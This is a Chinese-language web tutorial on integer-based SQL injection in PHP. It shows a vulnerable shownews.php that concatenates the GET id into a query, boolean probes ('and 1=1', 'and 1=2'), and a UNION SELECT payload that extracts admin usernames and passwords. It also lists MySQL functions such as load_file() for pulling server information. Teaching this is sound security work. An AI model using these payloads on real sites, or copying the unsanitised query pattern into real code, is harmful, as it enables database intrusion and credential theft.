系统城装机大师 - 固镇县祥瑞电脑科技销售部宣传站!

当前位置:首页 > 网络知识 > 脚本攻防 > 详细页面

PHP漏洞之【整型数字型SQL注入】

时间:2020-08-20来源:www.pcxitongcheng.com作者:电脑系统城

0x01    什么是SQL注入

SQL是一种注入攻击,通过前端带入后端数据库进行恶意的SQL语句查询。

 0x02    SQL整型注入原理

 SQL注入一般发生在动态网站URL地址里,当然也会发生在其它地发,如登录框等等也会存在注入,只要是和数据库打交道的地方都有可能存在。

如这里http://192.168.30.22/intsql/shownews.php?id=5  我们打开shownews.php源文件看下代码


 
if(isset($_GET['id'])) { $id=$_GET["id"]; } else { echo "<script language='javascript'>"; echo "alert('ÇëÊäÈëÕýÈ·ID£¡');"; echo " location='index.php';"; echo "</script>"; exit; } $sql4="select * from news where id=$id"; $result4=mysql_query($sql4); if($nums=mysql_num_rows($result4)) { $rs4=mysql_fetch_array($result4); $title=$rs4["title"]; $content=$rs4["content"]; $hits=$rs4["hits"]; $fbsj=date("Y-m-d",strtotime($rs4['fbsj'])); $sql="update news set hits=hits+1 where id=$id"; mysql_query($sql); }

首先定义一个变量id,$id=$_GET["id"];获取GET的值,

然后定义一个sql4变量来存放sql查询语句,并和刚才变量id进行拼接组合,

$sql4="select * from news where id=$id";

最后带入数据库进行查询   $result4=mysql_query($sql4);

由此可以确定此文件存在SQL注入漏洞,id是数字型

 0x03    验证漏洞

现在我们在地址栏id=5 后面输入 and 1=1  页面返回了正常

那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=1";  //整条语句带入数据库进行查询 SQL语句返回为真即true

现在我们在地址栏id=5 后面输入 and 1=2  页面返回了错误

那么代码里的sql语句拼接起来应该就是$sql4="select * from news where id=5 and 1=2";  //整条语句带入数据库进行查询 SQL语句返回为假即false

依次类推,如果看不懂的话,可以去补一点sql基本语法知识。

 最后在查询出管理员的后台账号和密码 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

可以看到SQL语句拼接起来变成一条完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

mysql数据库一些常用函数:  我们也可以加到查询语句里进行爆出对应的信息

1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本 @@version
7:load_file() MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统

分享到:

相关信息

系统教程栏目

栏目热门教程

人气教程排行

站长推荐

热门系统下载